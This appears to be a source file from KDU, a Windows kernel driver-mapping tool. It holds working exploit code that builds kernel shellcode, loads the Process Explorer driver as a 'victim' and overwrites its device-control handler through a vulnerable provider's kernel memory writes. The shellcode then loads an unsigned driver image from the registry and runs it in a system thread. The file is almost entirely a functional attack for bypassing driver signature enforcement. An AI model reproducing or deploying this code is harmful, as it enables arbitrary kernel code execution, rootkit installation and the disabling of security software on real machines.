KDU/Source/Hamakaze/drvmap.cpp

838 lines
24 KiB
C++

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2020
*
* TITLE: DRVMAP.CPP
*
* VERSION: 1.00
*
* DATE: 24 Jan 2020
*
* Driver mapping routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "irp.h"
//
// WARNING: shellcode DOESN'T WORK in DEBUG
//
#define BOOTSTRAPCODE_SIZE 1968 //correct this value if Import change it size
//
// Size in bytes
// InitCode 16
// Import 64
// BootstrapCode 1968
//
//sizeof 2048
typedef struct _SHELLCODE {
BYTE InitCode[16];
BYTE BootstrapCode[BOOTSTRAPCODE_SIZE];
FUNC_TABLE Import;
} SHELLCODE, * PSHELLCODE;
SHELLCODE* g_ShellCode;
/*
* ExAllocatePoolTest
*
* Purpose:
*
* User mode test routine.
*
*/
PVOID NTAPI ExAllocatePoolTest(
_In_ POOL_TYPE PoolType,
_In_ SIZE_T NumberOfBytes)
{
PVOID P;
UNREFERENCED_PARAMETER(PoolType);
P = VirtualAlloc(NULL, NumberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
return P;
}
/*
* ExFreePoolTest
*
* Purpose:
*
* User mode test routine.
*
*/
VOID NTAPI ExFreePoolTest(
_In_ PVOID P)
{
VirtualFree(P, 0, MEM_RELEASE);
}
/*
* IofCompleteRequestTest
*
* Purpose:
*
* User mode test routine.
*/
VOID IofCompleteRequestTest(
_In_ VOID* Irp,
_In_ CCHAR PriorityBoost)
{
UNREFERENCED_PARAMETER(Irp);
UNREFERENCED_PARAMETER(PriorityBoost);
return;
}
/*
* PsCreateSystemThreadTest
*
* Purpose:
*
* User mode test routine.
*
*/
NTSTATUS NTAPI PsCreateSystemThreadTest(
_Out_ PHANDLE ThreadHandle,
_In_ ULONG DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ HANDLE ProcessHandle,
_Out_opt_ PCLIENT_ID ClientId,
_In_ PKSTART_ROUTINE StartRoutine,
_In_opt_ PVOID StartContext)
{
UNREFERENCED_PARAMETER(ThreadHandle);
UNREFERENCED_PARAMETER(DesiredAccess);
UNREFERENCED_PARAMETER(ObjectAttributes);
UNREFERENCED_PARAMETER(ProcessHandle);
UNREFERENCED_PARAMETER(ClientId);
UNREFERENCED_PARAMETER(StartRoutine);
UNREFERENCED_PARAMETER(StartContext);
return STATUS_SUCCESS;
}
IO_STACK_LOCATION g_testIostl;
/*
* IoGetCurrentIrpStackLocationTest
*
* Purpose:
*
* User mode test routine.
*
*/
FORCEINLINE
PIO_STACK_LOCATION
IoGetCurrentIrpStackLocationTest(
_In_ PIRP Irp
)
{
UNREFERENCED_PARAMETER(Irp);
g_testIostl.MajorFunction = IRP_MJ_CREATE;
return &g_testIostl;
}
/*
* SizeOfProc
*
* Purpose:
*
* Very simplified. Return size of procedure when first ret meet.
*
*/
ULONG SizeOfProc(
_In_ PBYTE FunctionPtr)
{
ULONG c = 0;
UCHAR* p;
hde64s hs;
__try {
do {
p = FunctionPtr + c;
hde64_disasm(p, &hs);
if (hs.flags & F_ERROR)
break;
c += hs.len;
} while (*p != 0xC3);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return 0;
}
return c;
}
/*
* FakeDispatchRoutine
*
* Purpose:
*
* Bootstrap shellcode.
* Read image from registry, process relocs and run it.
*
* IRQL: PASSIVE_LEVEL
*
*/
NTSTATUS NTAPI FakeDispatchRoutine(
_In_ struct _DEVICE_OBJECT* DeviceObject,
_Inout_ struct _IRP* Irp,
_In_ PSHELLCODE ShellCode)
{
NTSTATUS status;
ULONG returnLength = 0, isz, dummy;
HANDLE hKey = NULL, hThread;
UNICODE_STRING str;
OBJECT_ATTRIBUTES obja;
KEY_VALUE_PARTIAL_INFORMATION keyinfo;
KEY_VALUE_PARTIAL_INFORMATION* pkeyinfo;
ULONG_PTR Image, exbuffer, pos;
PIO_STACK_LOCATION StackLocation;
PIMAGE_DOS_HEADER dosh;
PIMAGE_FILE_HEADER fileh;
PIMAGE_OPTIONAL_HEADER popth;
PIMAGE_BASE_RELOCATION rel;
DWORD_PTR delta;
LPWORD chains;
DWORD c, p, rsz;
WCHAR szRegistryKey[] = {
L'\\', L'R', L'E', L'G', L'I', L'S', L'T', L'R', L'Y', L'\\',\
L'M', L'A', L'C', L'H', L'I', L'N', L'E', 0
};
USHORT cbRegistryKey = sizeof(szRegistryKey) - sizeof(WCHAR);
WCHAR szValueKey[] = { L'~', 0 };
USHORT cbValueKey = sizeof(szValueKey) - sizeof(WCHAR);
UNREFERENCED_PARAMETER(DeviceObject);
#ifdef _DEBUG
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
#else
StackLocation = IoGetCurrentIrpStackLocation(Irp);
#endif
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
&& (DeviceObject->SectorSize == 0))
{
str.Buffer = szRegistryKey;
str.Length = cbRegistryKey;
str.MaximumLength = str.Length + sizeof(UNICODE_NULL);
#ifdef _DEBUG
InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE, 0, 0);
#else
InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0);
#endif
status = ShellCode->Import.ZwOpenKey(&hKey, KEY_READ, &obja);
if (NT_SUCCESS(status)) {
str.Buffer = szValueKey;
str.Length = cbValueKey;
str.MaximumLength = str.Length + sizeof(UNICODE_NULL);
status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation,
&keyinfo, sizeof(KEY_VALUE_PARTIAL_INFORMATION), &returnLength);
if ((status == STATUS_BUFFER_OVERFLOW) ||
(status == STATUS_BUFFER_TOO_SMALL))
{
pkeyinfo = (KEY_VALUE_PARTIAL_INFORMATION*)ShellCode->Import.ExAllocatePool(NonPagedPool, returnLength);
if (pkeyinfo) {
status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation,
(PVOID)pkeyinfo, returnLength, &dummy);
if (NT_SUCCESS(status)) {
Image = (ULONG_PTR)&pkeyinfo->Data[0];
dosh = (PIMAGE_DOS_HEADER)Image;
fileh = (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
isz = popth->SizeOfImage;
exbuffer = (ULONG_PTR)ShellCode->Import.ExAllocatePool(
NonPagedPool, isz + PAGE_SIZE) + PAGE_SIZE;
if (exbuffer != 0) {
exbuffer &= ~(PAGE_SIZE - 1);
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
{
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
delta = (DWORD_PTR)exbuffer - popth->ImageBase;
c = 0;
while (c < rsz) {
p = sizeof(IMAGE_BASE_RELOCATION);
chains = (LPWORD)((PBYTE)rel + p);
while (p < rel->SizeOfBlock) {
switch (*chains >> 12) {
case IMAGE_REL_BASED_HIGHLOW:
*(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
break;
case IMAGE_REL_BASED_DIR64:
*(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
break;
}
chains++;
p += sizeof(WORD);
}
c += rel->SizeOfBlock;
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
}
}
isz >>= 3;
for (pos = 0; pos < isz; pos++)
((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
hThread = NULL;
InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
if (NT_SUCCESS(ShellCode->Import.PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &obja, NULL, NULL,
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL)))
{
ShellCode->Import.ZwClose(hThread);
}
DeviceObject->SectorSize = 512;
}
}
ShellCode->Import.ExFreePool(pkeyinfo);
}
}
ShellCode->Import.ZwClose(hKey);
}
}
ShellCode->Import.IofCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
/*
* KDUStorePayload
*
* Purpose:
*
* Load input file as image, resolve import and store result in registry.
*
*/
BOOL KDUStorePayload(
_In_ LPWSTR lpFileName,
_In_ ULONG_PTR KernelImage,
_In_ ULONG_PTR KernelBase)
{
BOOL bSuccess = FALSE;
HKEY hKey = NULL;
PVOID DataBuffer = NULL;
LRESULT lResult;
NTSTATUS ntStatus;
ULONG isz;
PVOID Image = NULL;
PIMAGE_NT_HEADERS FileHeader;
UNICODE_STRING ustr;
ULONG DllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE;
printf_s("[>] Entering %s\r\n", __FUNCTION__);
//
// Map input file as image.
//
RtlInitUnicodeString(&ustr, lpFileName);
ntStatus = LdrLoadDll(NULL, &DllCharacteristics, &ustr, &Image);
if ((!NT_SUCCESS(ntStatus)) || (Image == NULL)) {
printf_s("[!] Error while loading input driver file, NTSTATUS (0x%lX)\r\n", ntStatus);
return FALSE;
}
else {
printf_s("[+] Input driver file loaded at 0x%p\r\n", Image);
}
FileHeader = RtlImageNtHeader(Image);
if (FileHeader == NULL) {
printf_s("[!] Error, invalid NT header\r\n");
}
else {
//
// Resolve import (ntoskrnl only) and write buffer to registry.
//
isz = FileHeader->OptionalHeader.SizeOfImage;
DataBuffer = supHeapAlloc(isz);
if (DataBuffer) {
RtlCopyMemory(DataBuffer, Image, isz);
printf_s("[+] Resolving kernel import for input driver\r\n");
supResolveKernelImport((ULONG_PTR)DataBuffer, KernelImage, KernelBase);
lResult = RegOpenKey(HKEY_LOCAL_MACHINE, NULL, &hKey);
if ((lResult == ERROR_SUCCESS) && (hKey != NULL)) {
lResult = RegSetKeyValue(hKey, NULL, TEXT("~"), REG_BINARY,
DataBuffer, isz);
bSuccess = (lResult == ERROR_SUCCESS);
RegCloseKey(hKey);
}
supHeapFree(DataBuffer);
}
}
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
return bSuccess;
}
ULONG_PTR KDUResolveFunctionInternal(
_In_ ULONG_PTR KernelBase,
_In_ ULONG_PTR KernelImage,
_In_ LPCSTR Function)
{
ULONG_PTR Address = supGetProcAddress(KernelBase, KernelImage, Function);
if (Address == 0) {
printf_s("[!] Error, %s address not found\r\n", Function);
return 0;
}
printf_s("[+] %s 0x%llX\r\n", Function, Address);
return Address;
}
#define ASSERT_RESOLVED_FUNC(FunctionPtr) { if (FunctionPtr == 0) break; }
/*
* KDUSetupShellCode
*
* Purpose:
*
* Construct shellcode data, init code.
*
*/
BOOL KDUSetupShellCode(
_In_ PKDU_CONTEXT Context,
_In_ LPWSTR lpMapDriverFileName)
{
BOOL bResult = FALSE;
NTSTATUS ntStatus;
ULONG ProcedureSize = 0;
UNICODE_STRING ustr;
ULONG_PTR KernelBase, KernelImage = 0;
WCHAR szNtOs[MAX_PATH * 2];
printf_s("[>] Entering %s\r\n", __FUNCTION__);
do {
KernelBase = Context->NtOsBase;
if (KernelBase == 0) {
printf_s("[!] Cannot query ntoskrnl loaded base, abort\r\n");
break;
}
printf_s("[+] Loaded ntoskrnl base 0x%llX\r\n", KernelBase);
//
// Preload ntoskrnl.exe
//
_strcpy(szNtOs, USER_SHARED_DATA->NtSystemRoot);
_strcat(szNtOs, L"\\system32\\ntoskrnl.exe");
RtlInitUnicodeString(&ustr, szNtOs);
ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)&KernelImage);
if ((!NT_SUCCESS(ntStatus)) || (KernelImage == 0)) {
printf_s("[!] Error while loading ntoskrnl.exe, NTSTATUS (0x%lX)\r\n", ntStatus);
break;
}
printf_s("[+] Ntoskrnl.exe mapped at 0x%llX\r\n", KernelImage);
//
// Store input file in registry.
//
if (!KDUStorePayload(lpMapDriverFileName, KernelImage, KernelBase)) {
printf_s("[!] Cannot write payload to the registry, abort\r\n");
break;
}
//
// Allocate shellcode.
//
g_ShellCode = (SHELLCODE*)VirtualAlloc(NULL, sizeof(SHELLCODE),
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (g_ShellCode == NULL)
break;
//
// Build initial code part.
//
// 00 call +5
// 05 pop r8
// 07 sub r8, 5
// 0B jmps 10
// 0D int 3
// 0E int 3
// 0F int 3
// 10 code
//int 3
memset(g_ShellCode->InitCode, 0xCC, sizeof(g_ShellCode->InitCode));
//call +5
g_ShellCode->InitCode[0x0] = 0xE8;
g_ShellCode->InitCode[0x1] = 0x00;
g_ShellCode->InitCode[0x2] = 0x00;
g_ShellCode->InitCode[0x3] = 0x00;
g_ShellCode->InitCode[0x4] = 0x00;
//pop r8
g_ShellCode->InitCode[0x5] = 0x41;
g_ShellCode->InitCode[0x6] = 0x58;
//sub r8, 5
g_ShellCode->InitCode[0x7] = 0x49;
g_ShellCode->InitCode[0x8] = 0x83;
g_ShellCode->InitCode[0x9] = 0xE8;
g_ShellCode->InitCode[0xA] = 0x05;
// jmps
g_ShellCode->InitCode[0xB] = 0xEB;
g_ShellCode->InitCode[0xC] = 0x03;
//
// Remember function pointers.
//
g_ShellCode->Import.ExAllocatePool =
(pfnExAllocatePool)KDUResolveFunctionInternal(KernelBase, KernelImage, "ExAllocatePool");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ExAllocatePool);
g_ShellCode->Import.ExFreePool =
(pfnExFreePool)KDUResolveFunctionInternal(KernelBase, KernelImage, "ExFreePool");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ExFreePool);
g_ShellCode->Import.PsCreateSystemThread =
(pfnPsCreateSystemThread)KDUResolveFunctionInternal(KernelBase, KernelImage, "PsCreateSystemThread");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.PsCreateSystemThread);
g_ShellCode->Import.IofCompleteRequest =
(pfnIofCompleteRequest)KDUResolveFunctionInternal(KernelBase, KernelImage, "IofCompleteRequest");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.IofCompleteRequest);
g_ShellCode->Import.ZwClose =
(pfnZwClose)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwClose");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwClose);
g_ShellCode->Import.ZwOpenKey =
(pfnZwOpenKey)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwOpenKey");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwOpenKey);
g_ShellCode->Import.ZwQueryValueKey =
(pfnZwQueryValueKey)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwQueryValueKey");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwQueryValueKey);
g_ShellCode->Import.DbgPrint =
(pfnDbgPrint)KDUResolveFunctionInternal(KernelBase, KernelImage, "DbgPrint");
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.DbgPrint);
ProcedureSize = SizeOfProc((PBYTE)FakeDispatchRoutine);
//
// Shellcode test, unused in Release build.
//
#ifdef _DEBUG
g_ShellCode->Import.ZwClose = &NtClose;
g_ShellCode->Import.ZwOpenKey = &NtOpenKey;
g_ShellCode->Import.ZwQueryValueKey = &NtQueryValueKey;
g_ShellCode->Import.ExAllocatePool = &ExAllocatePoolTest;
g_ShellCode->Import.ExFreePool = &ExFreePoolTest;
g_ShellCode->Import.IofCompleteRequest = &IofCompleteRequestTest;
g_ShellCode->Import.PsCreateSystemThread = &PsCreateSystemThreadTest;
DEVICE_OBJECT temp;
temp.SectorSize = 0;
FakeDispatchRoutine(&temp, NULL, g_ShellCode);
#else
if (ProcedureSize != 0) {
printf_s("[+] Bootstrap code size = 0x%lX\r\n", ProcedureSize);
if (ProcedureSize > sizeof(g_ShellCode->BootstrapCode)) {
printf_s("[!] Bootstrap code size exceeds limit, abort\r\n");
break;
}
memcpy(g_ShellCode->BootstrapCode, FakeDispatchRoutine, ProcedureSize);
//supWriteBufferToFile(L"out.bin", g_ShellCode->BootstrapCode, ProcedureSize);
}
//((void(*)())g_ShellCode->InitCode)();
bResult = TRUE;
#endif
} while (FALSE);
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
return bResult;
}
/*
* KDUCheckMemoryLayout
*
* Purpose:
*
* Check if shellcode can be placed within the same/next physical page(s).
*
*/
BOOL KDUCheckMemoryLayout(
_In_ KDU_CONTEXT* Context,
_In_ ULONG_PTR TargetAddress
)
{
ULONG_PTR memPage, physAddrStart, physAddrEnd;
KDU_PROVIDER* prov = Context->Provider;
//
// If provider does not support translation return TRUE.
//
if ((PVOID)prov->Callbacks.VirtualToPhysical == (PVOID)KDUProviderStub)
return TRUE;
memPage = (TargetAddress & 0xfffffffffffff000ull);
if (prov->Callbacks.VirtualToPhysical(Context->DeviceHandle,
memPage,
&physAddrStart))
{
memPage = (TargetAddress + sizeof(SHELLCODE)) & 0xfffffffffffff000ull;
if (prov->Callbacks.VirtualToPhysical(Context->DeviceHandle,
memPage,
&physAddrEnd))
{
ULONG_PTR diffAddr = physAddrEnd - physAddrStart;
if (diffAddr > PAGE_SIZE)
return FALSE;
else
return TRUE;
}
}
return FALSE;
}
/*
* KDUMapDriver
*
* Purpose:
*
* Run mapper.
*
*/
BOOL KDUMapDriver(
_In_ PKDU_CONTEXT Context,
_In_ LPWSTR lpMapDriverFileName)
{
BOOL bSuccess = FALSE;
ULONG_PTR objectAddress, targetAddress = 0;
FILE_OBJECT fileObject;
DEVICE_OBJECT deviceObject;
DRIVER_OBJECT driverObject;
KDU_PROVIDER* prov = Context->Provider;
ULONG retryCount = 1, maxRetry = 3;
HANDLE victimDeviceHandle = NULL;
printf_s("[>] Entering %s\r\n", __FUNCTION__);
Reload:
printf_s("[+] Victim driver map attempt %lu of %lu\r\n", retryCount, maxRetry);
//
// If this is reload, release victim.
//
if (victimDeviceHandle) {
NtClose(victimDeviceHandle);
victimDeviceHandle = NULL;
VictimRelease((LPWSTR)PROCEXP152);
}
if (VictimCreate(Context->ModuleBase,
(LPWSTR)PROCEXP152,
IDR_PROCEXP,
&victimDeviceHandle))
{
printf_s("[+] Victim driver loaded, handle %p\r\n", victimDeviceHandle);
}
else {
printf_s("[!] Could not load victim driver, GetLastError %lu\r\n", GetLastError());
}
if (supQueryObjectFromHandle(victimDeviceHandle, &objectAddress)) {
do {
RtlSecureZeroMemory(&fileObject, sizeof(fileObject));
printf_s("[+] Reading FILE_OBJECT at 0x%llX\r\n", objectAddress);
if (!KDUReadKernelVM(Context,
objectAddress,
&fileObject,
sizeof(FILE_OBJECT)))
{
printf_s("[!] Could not read FILE_OBJECT at 0x%llX\r\n", objectAddress);
break;
}
printf_s("[+] Reading DEVICE_OBJECT at 0x%p\r\n", fileObject.DeviceObject);
RtlSecureZeroMemory(&deviceObject, sizeof(deviceObject));
if (!KDUReadKernelVM(Context,
(ULONG_PTR)fileObject.DeviceObject,
&deviceObject,
sizeof(DEVICE_OBJECT)))
{
printf_s("[!] Could not read DEVICE_OBJECT at 0x%p\r\n", fileObject.DeviceObject);
break;
}
printf_s("[+] Reading DRIVER_OBJECT at 0x%p\r\n", deviceObject.DriverObject);
RtlSecureZeroMemory(&driverObject, sizeof(driverObject));
if (!KDUReadKernelVM(Context,
(ULONG_PTR)deviceObject.DriverObject,
&driverObject,
sizeof(DRIVER_OBJECT)))
{
printf_s("[!] Could not read DRIVER_OBJECT at 0x%p\r\n", deviceObject.DriverObject);
break;
}
//
// ProcExp handle no longer needed, can be closed.
//
NtClose(victimDeviceHandle);
victimDeviceHandle = NULL;
targetAddress = (ULONG_PTR)driverObject.MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (!KDUCheckMemoryLayout(Context, targetAddress)) {
printf_s("[!] Physical address is not within same/next page, reload victim driver\r\n");
retryCount += 1;
if (retryCount > maxRetry) {
printf_s("[!] Too many reloads, abort\r\n");
break;
}
goto Reload;
}
printf_s("[+] Victim IRP_MJ_DEVICE_CONTROL 0x%llX\r\n", targetAddress);
printf_s("[+] Victim DriverUnload 0x%p\r\n", driverObject.DriverUnload);
bSuccess = TRUE;
} while (FALSE);
}
//
// Ensure ProcExp handle is closed.
//
if (victimDeviceHandle) {
NtClose(victimDeviceHandle);
victimDeviceHandle = NULL;
}
if (bSuccess) {
if (KDUSetupShellCode(Context, lpMapDriverFileName)) {
//
// Write shellcode to driver.
//
if (!prov->Callbacks.WriteKernelVM(Context->DeviceHandle,
targetAddress,
g_ShellCode, sizeof(SHELLCODE)))
{
printf_s("[!] Error writing shellcode to the target driver, abort\r\n");
}
else {
printf_s("[+] Driver IRP_MJ_DEVICE_CONTROL handler code modified\r\n");
//
// Run shellcode.
// Target has the same handlers for IRP_MJ_CREATE/CLOSE/DEVICE_CONTROL
//
printf_s("[+] Run shellcode\r\n");
Sleep(1000);
supOpenDriver((LPWSTR)PROCEXP152, &victimDeviceHandle);
Sleep(1000);
}
}
else {
printf_s("[!] Error while building shellcode, abort\r\n");
}
}
else {
printf_s("[!] Error preloading victim driver, abort\r\n");
}
if (victimDeviceHandle)
NtClose(victimDeviceHandle);
if (VictimRelease((LPWSTR)PROCEXP152)) {
printf_s("[+] Victim driver unloaded\r\n");
}
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
return FALSE;
}